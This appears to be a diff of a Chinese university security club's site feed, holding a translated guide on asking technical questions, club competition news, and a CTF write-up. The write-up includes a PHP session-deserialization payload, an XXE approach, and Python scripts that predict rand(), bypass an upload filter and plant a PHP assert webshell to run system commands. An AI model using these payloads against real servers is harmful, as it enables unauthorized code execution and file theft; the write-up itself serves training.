问题:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文件转换为 TeX 格式吗?

问题:我的程序/设定/SQL 语句没有用

问题:我的 Windows 电脑有问题,你能帮我吗?

问题:我的程序不会动了,我认为系统工具 X 有问题

问题:我在安装 Linux(或者 X )时有问题,你能帮我吗?

问题:我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢?


问题:我能在哪找到 X 程序或 X 资源?

回答:就在我找到它的地方啊,白痴 —— 搜索引擎的那一头。天哪!难道还有人不会用 Google 吗?

问题:我怎样用 X 做 Y?

回答:如果你想解决的是 Y ,提问时别给出可能并不恰当的方法。这种问题说明提问者不但对 X 完全无知,也对 Y 要解决的问题糊涂,还被特定形势禁锢了思维。最好忽略这种人,等他们把问题搞清楚了再说。

问题:如何设定我的 shell 提示??

回答:如果你有足够的智慧提这个问题,你也该有足够的智慧去 RTFM,然后自己去找出来。

问题:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文件转换为 TeX 格式吗?

回答:试试看就知道了。如果你试过,你就知道了答案,就不用浪费我的时间了。

问题:我的{程序/设定/SQL 语句}没有用

回答:这不算是问题吧,我对要我问你二十个问题才找得出你真正问题的问题没兴趣 —— 我有更有意思的事要做呢。在看到这类问题的时候,我的反应通常不外如下三种

  • 你还有什么要补充的吗?
  • 真糟糕,希望你能搞定。
  • 这关我屁事?

问题:我的 Windows 电脑有问题,你能帮我吗?

回答:能啊,扔掉微软的垃圾,换个像 Linux 或 BSD 的开源操作系统吧。

注意:如果程序有官方版 Windows 或者与 Windows 有互动(如 Samba),你可以问与 Windows 相关的问题,只是别对问题是由 Windows 操作系统而不是程序本身造成的回复感到惊讶, 因为 Windows 一般来说实在太烂,这种说法通常都是对的。

问题:我的程序不会动了,我认为系统工具 X 有问题

回答:你完全有可能是第一个注意到被成千上万用户反复使用的系统调用与函数库文件有明显缺陷的人,更有可能的是你完全没有根据。不同凡响的说法需要不同凡响的证据,当你这样声称时,你必须有清楚而详尽的缺陷说明文件作后盾。

问题:我在安装 Linux(或者 X )时有问题,你能帮我吗?

回答:不能,我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的 Linux 使用群组者寻求实际的指导吧(你能在这儿找到用户群组的清单)。

注意:如果安装问题与某 Linux 的发行版有关,在它的邮件列表、论坛或本地用户群组中提问也许是恰当的。此时,应描述问题的准确细节。在此之前,先用 Linux所有被怀疑的硬件作关键词仔细搜索。

问题:我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢?

回答:想要这样做,说明了你是个卑鄙小人;想找个黑客帮你,说明你是个白痴!

好问题与蠢问题

最后,我将透过举一些例子,来说明怎样聪明的提问;同一个问题的两种问法被放在一起,一种是愚蠢的,另一种才是明智的。

蠢问题

我可以在哪儿找到关于 Foonly Flurbamatic 的资料?

这种问法无非想得到 STFW 这样的回答。

聪明问题

我用 Google 搜索过 “Foonly Flurbamatic 2600”,但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料?

这个问题已经 STFW 过了,看起来他真的遇到了麻烦。

蠢问题

我从 foo 项目找来的源码没法编译。它怎么这么烂?

他觉得都是别人的错,这个傲慢自大的提问者。

聪明问题

foo 项目代码在 Nulix 6.2 版下无法编译通过。我读过了 FAQ,但里面没有提到跟 Nulix 有关的问题。这是我编译过程的记录,我有什么做的不对的地方吗?

提问者已经指明了环境,也读过了 FAQ,还列出了错误,并且他没有把问题的责任推到别人头上,他的问题值得被关注。

蠢问题

我的主机板有问题了,谁来帮我?

某黑客对这类问题的回答通常是:好的,还要帮你拍拍背和换尿布吗?,然后按下删除键。

聪明问题

我在 S2464 主机板上试过了 X 、 Y 和 Z ,但没什么作用,我又试了 A 、 B 和 C 。请注意当我尝试 C 时的奇怪现象。显然 florbish 正在 grommicking,但结果出人意料。通常在 Athlon MP 主机板上引起 grommicking 的原因是什么?有谁知道接下来我该做些什么测试才能找出问题?

这个家伙,从另一个角度来看,值得去回答他。他表现出了解决问题的能力,而不是坐等天上掉答案。

在最后一个问题中,注意告诉我答案给我启示,指出我还应该做什么诊断工作之间微妙而又重要的区别。

事实上,后一个问题源自于 2001 年 8 月在 Linux 内核邮件列表(lkml)上的一个真实的提问。我(Eric)就是那个提出问题的人。我在 Tyan S2464 主板上观察到了这种无法解释的锁定现象,列表成员们提供了解决这一问题的重要信息。

通过我的提问方法,我给了别人可以咀嚼玩味的东西;我设法让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力,并邀请他们与我共同探讨。通过告诉他们我所走过的弯路,以避免他们再浪费时间,我也表明了对他们宝贵时间的尊重。

事后,当我向每个人表示感谢,并且赞赏这次良好的讨论经历的时候,一个 Linux 内核邮件列表的成员表示,他觉得我的问题得到解决并非由于我是这个列表中的人,而是因为我用了正确的方式来提问。

黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙;我相信他是对的,如果我个乞讨者那样提问,不论我是谁,一定会惹恼某些人或者被他们忽视。他建议我记下这件事,这直接导致了本指南的出现。

如果得不到回答

如果仍得不到回答,请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视,虽然不可否认这种差别很难区分。

总的来说,简单地重复张贴问题是个很糟的点子。这将被视为无意义的喧闹。有点耐心,知道你问题答案的人可能生活在不同的时区,可能正在睡觉,也有可能你的问题一开始就没有组织好。

你可以通过其他渠道获得帮助,这些渠道通常更适合初学者的需要。

有许多网上的以及本地的用户群组,由热情的软件爱好者(即使他们可能从没亲自写过任何软件)组成。通常人们组建这样的团体来互相帮助并帮助新手。

另外,你可以向很多商业公司寻求帮助,不论公司大还是小。别为要付费才能获得帮助而感到沮丧!毕竟,假使你的汽车发动机汽缸密封圈爆掉了 —— 完全可能如此 —— 你还得把它送到修车铺,并且为维修付费。就算软件没花费你一分钱,你也不能强求技术支持总是免费的。

对像是 Linux 这种大众化的软件,每个开发者至少会对应到上万名用户。根本不可能由一个人来处理来自上万名用户的求助电话。要知道,即使你要为这些协助付费,和你所购买的同类软件相比,你所付出的也是微不足道的(通常封闭源代码软件的技术支持费用比开源软件的要高得多,且内容也没那么丰富)。

如何更好地回答问题

态度和善一点。 问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。

对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找常见问题都不知道。

如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来像个专家很好玩,就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。

如果帮不了忙,也别妨碍他。 不要在实际步骤上开玩笑,那样也许会毁了提问者的设置 —— 有些可怜的呆瓜会把它当成真的指令。

试探性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西 —— 你也可以。试试将蠢问题转变成好问题,别忘了我们都曾是新手。

尽管对那些懒虫抱怨一声 RTFM 是正当的,但能给出文档的链接(即使只是建议个 Google 搜索关键词)会更好。

如果你决定回答,就请给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计(workaround),应推荐更好的工具,重新界定问题。

正面地回答问题! 如果这个提问者已经很深入的研究而且也表明已经试过 X 、 Y 、 Z 、 A 、 B 、 C 但没得到结果,回答 试试看 A 或是 B 或者 试试 X 、 Y 、 Z 、 A 、 B 、 C 并附上一个链接一点用都没有。

帮助你的社区从问题中学习。 当回复一个好问题时,问问自己如何修改相关文件或常见问题文件以免再次解答同样的问题?,接着再向文件维护者发一份补丁。

如果你在研究一番后才作出了回答,展现你的技巧而不是直接端出结果。毕竟授人以鱼不如授人以渔

相关资源

如果你需要个人电脑、Unix 系统和网络如何运作的基础知识,参阅 Unix 系统和网络基本原理

当你发布软件或补丁时,试着按软件发布实践操作。

鸣谢

Evelyn Mitchel 贡献了一些愚蠢问题例子并启发了编写如何更好地回答问题这一节, Mikhail Ramendik 贡献了一些特别有价值的建议和改进。

转自GitHub:提问的智慧

]]> @@ -91,7 +91,7 @@ https://www.xmutsec.cn/2018/12/28/b6adcea6-60ce-4f44-9389-2a06d34125d8/ 2018-12-28T09:06:46.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第三届“福建省高校网络空间安全大赛”

本协会派出的CodeMonster战队全省第二夺得二等奖

]]>
@@ -114,7 +114,7 @@ https://www.xmutsec.cn/2018/12/07/07cb34d3-7c51-43af-bfb2-84425b34c8f4/ 2018-12-07T09:06:00.000Z - 2024-01-22T18:20:02.947Z + 2024-01-23T02:58:32.690Z 网络安全人才培养又有了新动向。12月7日,2017-2018全国高校信息安全铁人三项总决赛在北京航空航天大学盛大开幕,来自全国57所高校的网络安全实战赛队在“数据赛、企业赛、个人赛“三个方向比赛中一决高下,为全国网络安全市场提供了新一批高端人才。

]]>
@@ -137,7 +137,7 @@ https://www.xmutsec.cn/2018/11/11/ab21d401-10e1-4021-9936-e7154fd9ed71/ 2018-11-11T09:04:20.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 为帮助学生更好地感知、了解身边的网络安全风险,增强网络安全意识,普及网络安全知识,提高网络安全防护技能,厦门理工学院计算机与信息工程学院特此举办“国科-i春秋杯”第二届网络信息安全大赛,以此掀起学生“共建网络信息安全、共享网络文明学校”的热潮。

]]>
@@ -159,7 +159,7 @@ https://www.xmutsec.cn/2018/06/09/9806f2d8-b4ad-48d3-ad34-5481b1e8e35b/ 2018-06-09T09:03:14.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 自己去看吧
http://www.ciscn.cn/home

]]>
@@ -183,7 +183,7 @@ https://www.xmutsec.cn/2018/05/11/bb168e48-791c-4a1d-83c4-335b9db12499/ 2018-05-11T09:02:25.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 2018年5月11日,由教育部学校规划建设发展中心、中国信息安全测评中心主办,教育部高等学校信息安全专业教学指导委员会协办,中国信息产业商会信息安全产业分会、北京西普阳光教育科技股份有限公司、福州大学承办的2017-2018全国高校“西普杯”信息安全铁人三项赛第七分区赛在福州大学拉开帷幕,有来自福建共计21所高校近100名学生同场竞技。经过一天的精彩角逐,福建农林大学力克群雄,夺得第七赛区冠军,厦门理工学院、闽南师范大学分别获得亚军和季军。

]]>
@@ -203,7 +203,7 @@ https://www.xmutsec.cn/2018/04/26/86e69101-77f4-484a-ba0e-2957afabbdb6/ 2018-04-26T09:01:21.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 由国家互联网信息办公室网络安全协调局、公安部网络安全保卫局指导,浙江省互联网信息办公室、浙江省公安厅、杭州市人民政府主办,杭州市经济和信息化委员会、杭州市萧山区人民政府、杭州安恒信息技术股份有限公司承办,杭州市滨江区人民政府、中国信息安全测评中心、国家工业信息安全发展研究中心、国家计算机网络应急技术处理协调中心、阿里云计算有限公司、杭州海康威视数字技术股份有限公司、浙江大华技术股份有限公司联合承办的西湖论剑•网络安全大会定档今年4月27日,西湖论剑杯全国大学生网络空间安全技能大赛 作为本次论坛中最受瞩目的部分之一,也将于4月26日开启。

]]>
@@ -225,7 +225,7 @@ https://www.xmutsec.cn/2018/02/13/a73c51fc-04d5-4aa7-bcdc-c22aa7b67512/ 2018-02-13T09:00:04.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了)

签到

签到 20

1
2
支付宝今年集齐五福能一起平分多少钱?
flag格式:moctf{数字}

flag:moctf{500000000}

MISC

空word 100

1
真的什么都没有吗

文件是个word
打开看发现一些奇怪的换行和tab

很容易想到是摩斯密码,替换后得到

1
-.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -..

解摩斯密码,然后hex转字符串得到flag

WEB

登录一哈 300

1
2
登录一下,你就知道。
http://111.230.32.124:6001/

源码放到git里泄露给大家了
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();

if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION["username"] = $username;
header("Location:./index.php");
}
else if(isset($_SESSION["username"])){
echo '<h1>hello '.$_SESSION["username"].'</h1>';
}
else ...

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();
class MOCTF{
public $flag;
public $name;
function __destruct(){
$this->flag = "moctf{xxxxxxxxxxxxxxxx}";
if($this->flag == $this->name){
echo "Wow,this is flag:".$this->flag;
}
}
}

看源码就可以知道这道题考查的是session反序列漏洞了
在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’

1
ini_set('session.serialize_handler', 'php_binary');

参考https://blog.spoock.com/2016/10/16/php-serialize-problem/
index.php中的$_session['username']可控,我们就能构造payload到session,
然后访问flag.php页面就能触发反序列化执行__destruct了,
这里还有个考点是$this->flag == $this->name,通过引用的方式绕过。
构造payload

1
2
3
$a = new MOCTF();
$a->name = &$a->flag;
echo '|'.serialize($a);
1
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}

提交到index.php的username,然后访问flag.php就得到flag了

字符串检查 400

1
2
来检查一下你的字符串是否格式良好吧!
http://111.230.32.124:6002/

原意是xxe漏洞读取任意文件
后来知道师傅们卡了很久貌似是因为client-ip的原因,我的锅
题目打开是个json字符串验证的页面,POST包的Content-Type字段是application/json
POST后接口会返回json格式正确或错误的结果
改成application/xml,接口提示只允许本机访问,于是构造

1
client-ip:localhost

然后就是xxe盲打漏洞了,参考https://security.tencent.com/index.php/blog/msg/69
这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试
最后flag在/etc/passwd

简单审计 400

1
2
代码都给你了,还说不会做?
http://120.78.57.208:6005/

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
function get_rand_code($l = 6) {
$result = '';
while($l--) {
$result .= chr(rand(ord('a'), ord('z')));
}
return $result;
}

function test_rand_code() {
$ip=$_SERVER['REMOTE_ADDR'];
$code=get_rand_code();
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
@socket_connect($socket, $ip, 8888);
@socket_write($socket, $code.PHP_EOL);
@socket_close($socket);
die('test ok!');
}

function upload($filename, $content,$savepath) {
$AllowedExt = array('bmp','gif','jpeg','jpg','png');
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');
}
$code=get_rand_code();
$finalname=$filename[0].'moctf'.$code.".".end($filename);
file_put_contents("$savepath".$finalname, $content);
usleep(3000000);
unlink("$savepath".$finalname);
die('upload over!');
}

$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
if(!is_dir($savepath)){
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if(isset($_GET['action']))
{
$act=$_GET['action'];
if($act==='upload')
{
$filename=$_POST['filename'];
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
$content=$_POST['content'];
waf($content);
upload($filename,$content,$savepath);
}
else if($act==='test')
{
test_rand_code();
}
}
else {
highlight_file('index.php');
}
?>

解释一下题目的意思
根据action执行对应操作,action=test会调用test_rand_code函数发送tcp包到访客的ip
action=upload时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀,
然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除
有问题的点有这几个
1.filename检查是用$filename[count($filename)-1]取的后缀,是按照下标取的,而写入文件时用的是end($filename),是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php就能绕过了
2.$content的waf绕过, 绕过即可
3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

预期解法是
1.username数组bypass后缀检查,绕过content的waf
2.rand随机数预测+爆破文件名 在unlink之前访问shell
结果大佬们直接非预期解bypass了unlink打扰了
非预期解参考一叶飘零师傅的WriteUp
预期解如下
写两个脚本,
listen.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,
#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
from socket import *
from time import ctime
import random
import itertools as its
import hashlib

r=req.session()
url="http://120.78.57.208:6005/"


def get_rand_list():
HOST = ''
PORT = 8888
BUFSIZ = 128
ADDR = (HOST, PORT)
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
rand_num=0
l=[]
while True:
tcpCliSock, addr = tcpSerSock.accept()
while True:
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
data=data[0:6]
print data,l
for i in data:
l.append(ord(i)+1-ord('a'))
rand_num+=1
if rand_num==6:
break
tcpCliSock.close()
tcpSerSock.close()
return l

def get_salt(l):
salt=""
for i in range(6):
j=len(l)
r=(l[j-3]+l[j-31])-1
if r>26:
r-=26
#print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
l.append(r)
salt+=chr(r+ord('a')-1)
#print salt
return salt

def get_flag(salt):
s=hashlib.sha1('119.23.73.3').hexdigest()
url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
data={"a":"system('cat ../../flag.php');echo '666666';"}
r2=r.post(url1,data=data)
print salt
if '404' not in r2.text:
print r2.text

get_flag('aaaaaa')
l=get_rand_list()
salt=get_salt(l)
s=0
for i in range(100000):
s=s+1
print s
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])-int(s[j]))
get_flag(salt2)
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])+int(s[j]))
get_flag(salt2)

put.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,
#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re

r=req.session()
url="http://120.78.57.208:6005/?action="


def get_test():
url2=url+"test"
r1=r.get(url2)
print url2
print r1.text
def upload():
data={"filename[4]":"jpg",
"filename[2]":"jpg",
"filename[1]":"php",
"content":"<script language='php'>assert($_POST[a]);</script>",
"a":"system('cat ../../flag.php');"
}
url1=url+"upload"
r2=r.post(url1,data=data)
print r2.text

for i in range(6):
get_test()
upload()

运行结果如下

感想

讲一下这次比赛我主要干了那些事吧

  1. 出题,如上所述
  2. 平台搭建,用的是ctfd,docker的方式搭建的,省了很多事
  3. 题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题
  4. 发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事
  5. 比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的
    放一些后台数据


原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境)
打一波广告,http://www.moctf.com/
MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。

最后祝大家新年快乐!

]]>
@@ -252,7 +252,7 @@ https://www.xmutsec.cn/2017/11/25/6d1aa499-57ee-401b-a911-8062c6cae869/ 2017-11-25T08:58:00.000Z - 2024-01-22T18:20:02.947Z + 2024-01-23T02:58:32.690Z 北京时间11月23日,第二届48小时黑客马拉松破解大奖赛于福州正式开战。作为一项对产品安全严格要求、向黑客精神极致追逐、给予参赛选手高额奖励的黑客赛事,本届黑客马拉松吸引了来自全国近10支学生黑客战队参赛,其中包括来自台湾地区的BambooFox和TDOH两支战队。

48小时黑客马拉松破解大奖赛由360安全应急响应中心主办的面向360公司IoT设备的漏洞奖励赛事,设置了36万人民币奖金池,单个漏洞奖励最高可达5万元。

1
少年郎剑试天下

黑客马拉松概念源自美国,当一群高手云集一堂,互相沟通和学习,这就成了”世界上最酷的技术狂欢”。黑客马拉松破解赛采用了48小时极限漏洞挖掘和破解目标随机选定的赛制,参赛选手需要在比赛期间连续不中断地对特定产品进行漏洞挖掘,每队只配备一间休息室以供选手“回血”。在这样短的时间内寻找由安全人员反复把关的产品漏洞,并非易事。不过,没有绝对安全的系统,我们也在期待着他们的精彩表现,为提升360产品安全性而大展身手!

1
黑不是目的,安全才是王道

360集团作为中国领先的互联网络安全企业,汇聚了国内规模领先的高水平安全技术团队,积累了接近万件原创技术和核心技术的专利,并在此基础上开发出拥有数亿用户的360安全卫士、360手机卫士等安全产品,同时为上百万家国家机关和企事业单位提供包括安全咨询、安全运维、安全培训等全方位安全服务。

怀揣用户安全第一的目的和决心,48小时黑客马拉松破解大奖赛邀请到高校学生对指定产品进行全面漏洞挖掘,考验的不仅仅是书本上的知识,还有个人的技术实力与团队的协同配合。比赛一方面可以提升360产品的安全性,另一方面则能促进新生代网络安全人才的交流,提高网络安全从业者的技术水平,共同打造更安全的网络环境。

]]>
@@ -274,7 +274,7 @@ https://www.xmutsec.cn/2017/10/28/0fbc0fc1-39e4-47ee-9cff-ba792b068f27/ 2017-10-28T08:57:18.000Z - 2024-01-22T18:20:02.947Z + 2024-01-23T02:58:32.690Z 为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第三届“福建省高校网络空间安全大赛”

本协会派出的三支队伍分别获得了一等奖、三等奖和优胜奖,其中CodeMonster战队全省第三夺得一等奖,获得2000元奖金。

]]>
@@ -297,7 +297,7 @@ https://www.xmutsec.cn/2017/08/26/dfd03705-8ad1-420f-8534-0fd4086165e7/ 2017-08-26T08:56:01.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.706Z 全国高校网安联赛(National University Cybersecurity Association,简称X-NUCA)”是面向全国高校学生的网络安全技能竞赛,首届比赛已于2016年7月31日举办,大赛秉承“寓学于赛,以赛促学”的理念,推出“竞赛+”模式,将赛前指导、赛中锻炼和赛后交流三者有机结合,旨在更好地促进国家网络安全人才的培养和选拔。
X-NUCA联赛面向全国在校学生,包括专科生、本科生、硕士生和博士生,需由指导老师带队参赛。2017赛季分为专题赛和总决赛两个阶段,首次专题赛2017年8月26日举办。专题赛包含3期线上赛,分别在8月26日、10月8日、11月25日举办,12月举办总决赛并颁奖。
X-NUCA联赛推出的“竞赛+”模式通过引入赛前指导和赛后交流环节,使参赛选手不仅可以比赛,还可以有针对性的学习。在“竞赛+”模式中,比赛队伍常规化、比赛活动常规化,类似于“NBA”模式。在这种模式下,参赛队伍荣誉感更强,人才的归属感更强,更容易和高校正规的人才培养体系相结合。X-NUCA联赛力图将竞赛平台、学习平台、交流平台和参赛团队四者紧密连接,努力落实“寓学于赛,以赛促学”的理念,旨在促进中国高校网安教学水平的提高和网安人才的发现。

我们协会的CodeMonster战队首次参加本次比赛,取得了线上赛全国第9名的成绩。

比赛图片

比赛期间截图,一度占领榜一

]]>
@@ -319,7 +319,7 @@ https://www.xmutsec.cn/2017/05/06/6eba13d5-1e74-4680-8a10-9c18763b6389/ 2017-05-06T08:54:34.000Z - 2024-01-22T18:20:02.947Z + 2024-01-23T02:58:32.694Z 为帮助学生更好地感知、了解身边的网络安全风险,增强网络安全意识,普及网络安全知识,提高网络安全防护技能,厦门理工学院计算机与信息工程学院特此举办“国科杯”第一届网络信息安全大赛,以此掀起学生“共建网络信息安全、共享网络文明学校”的热潮。

比赛图片

比赛海报:

比赛现场:

比赛排行榜:

]]>
@@ -342,7 +342,7 @@ https://www.xmutsec.cn/2017/04/22/f72cbee7-1294-46b9-92e3-49a3140255b2/ 2017-04-22T08:52:55.000Z - 2024-01-22T18:20:02.963Z + 2024-01-23T02:58:32.710Z 信息安全铁人三项赛是一项面向大学生的公益性科技类竞赛,由中国信息产业商会信息安全产业分会发起主办,通过整合信息安全产业资源对接高校,为大学生提供一个进行信息安全技术创新、深入产业行业应用以及扩展安全视野的平台,推动校企合作模式的信息安全人才培养,从而实现信息安全优秀人才的培养和选拨渠道。

大赛强调贴近实战,以信息安全典型行业应用场景为大赛环境,重点检验参赛学生面对真实环境下的信息安全工程能力和攻防技术能力。

大赛强调企业与高校的联合,通过校企对接的企业导师加学生战队的模式,将企业资源纳入到高校的信息安全相关专业人才培养中,并实现人才从高校到企业的无缝对接。

信息安全铁人三项赛为一项周期为一年的全国性联赛赛事,由多个区域分站赛和年度总决赛组成。

本协会的CodeMonster战队荣获第三名,拿下三等奖5000元奖金。

比赛图片

获奖图片:



]]>
@@ -364,7 +364,7 @@ https://www.xmutsec.cn/2016/12/11/fuckscoredog/ 2016-12-11T09:02:25.000Z - 2024-01-22T18:20:02.967Z + 2024-01-23T02:58:32.710Z 我们尊重每个人的选择,尊重大家的学习方向和学习意图,但是协会曾经发生过一些不愉快的事情,为了协会后续发展,我觉得这件事很有必要写出来警示大家一下,希望各位不要成为下一个“他”

开篇点题,协会在2021级纳新的时候曾经招进来一名十分“优秀”的成员,这名成员在中专时参加过网络安全相关的比赛,当时我们都对他抱有很大的希望,认为他可以长期在协会中发展下去。

该成员在校赛时通过一些手段拿到了校赛第一,在往后的训练中也有一些佳绩,直到后来跟我们打了第一场比赛,所展现的水分也逐渐浮出水面

  • 2021年10月 - 某SCTF

团队组队,这是一场线上比赛,比赛是团队合作,但是该成员在比赛中表现不佳,没做出来几道题

  • 2021年12月 - 福建省某盾比赛

团队组队,这场比赛初赛(线上/联网)还算顺利,但在复赛的时候,Teamwork逐渐变得不顺利起来,起先是这名成员零解(没有做出任何一道题)再到后面的连最基础的ASP一句话木马都不会写,环境都用不明白,我们就知道这名成员水分有多大了,最后也是靠着队友拿到了省赛三等奖

  • 2022年5月 - **CC
  • 2022年4月 - 国赛省赛

团队组队,该成员报名参赛,未上线,靠着队友拿了省赛三等奖

  • 2022年7月 - 某帽杯

团队组队,该成员报名参赛,未上线,这也导致我们只打进了复赛没打进决赛的其中一个原因,在赛后联系该成员没有得到任何回复

  • 2022年8月 - 某鼎杯

团队组队,该成员报名参赛,未上线,比较难受的是,这场比赛我们仅差一名就能进半决赛

可恨的是不是参加没来参加比赛,而是靠着队友的名次去申请一系列的奖学金+“三好学生”,但凡这名成员没做这件事我们也不会单独写一篇文章来警示大家,我们只希望大家能靠着自己所热爱的,那颗炙热且充满学习欲望的心来做自己所喜欢的事情,而不是叫学长一直带你,让你拿奖拿到手软什么的,你也是要有输出的,前期弱一点没关系,到后期我们可以慢慢磨练。

俗话说的好,“师傅领进门,修行在个人”,我们给予您学习资料+平台,您只需要好好学习就行了,不要总想着走捷径,这些道理在之后等你出社会就明白了,出了社会这些人情世故还有很长一段时间要学,上大学,已经走进了半个社会,要学会为人处事,不要总想着贪小便宜。

愿你我,在毕业后都能找到适合自己的路。共勉

]]>
@@ -385,7 +385,7 @@ https://www.xmutsec.cn/2016/12/11/72c8b299-29e5-4e88-a684-7c65b3931760/ 2016-12-11T08:46:38.000Z - 2024-01-22T18:20:02.951Z + 2024-01-23T02:58:32.694Z 为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第二届“福建省高校网络空间安全大赛”

本协会派出的三支队伍分别获得了二等奖、三等奖和优胜奖,其中CodeMonster战队全省第六夺得二等奖,获得2000元奖金。

比赛图片

比赛现场:


比赛视频

比赛视频:

]]>
@@ -408,7 +408,7 @@ https://www.xmutsec.cn/2016/06/09/131885e3-191c-40ac-af0d-79835e15d45b/ 2016-06-09T08:45:43.000Z - 2024-01-22T18:20:02.947Z + 2024-01-23T02:58:32.690Z 本协会成立于2016年6月9日,致力于对信息安全方面的探索与创新,旨在为我校热爱信息安全的同学提供一个交流平台,扩大信息安全在我校的影响力。

协会活动

本协会通过参加CTF竞赛的形式验证自己的信息安全技术水平
各位大佬和萌新可以去协会CodeMonster战队与集美大学信安协会的Mokirin战队共同搭建维护的MOCTF平台进行日常CTF刷题。

CTF介绍

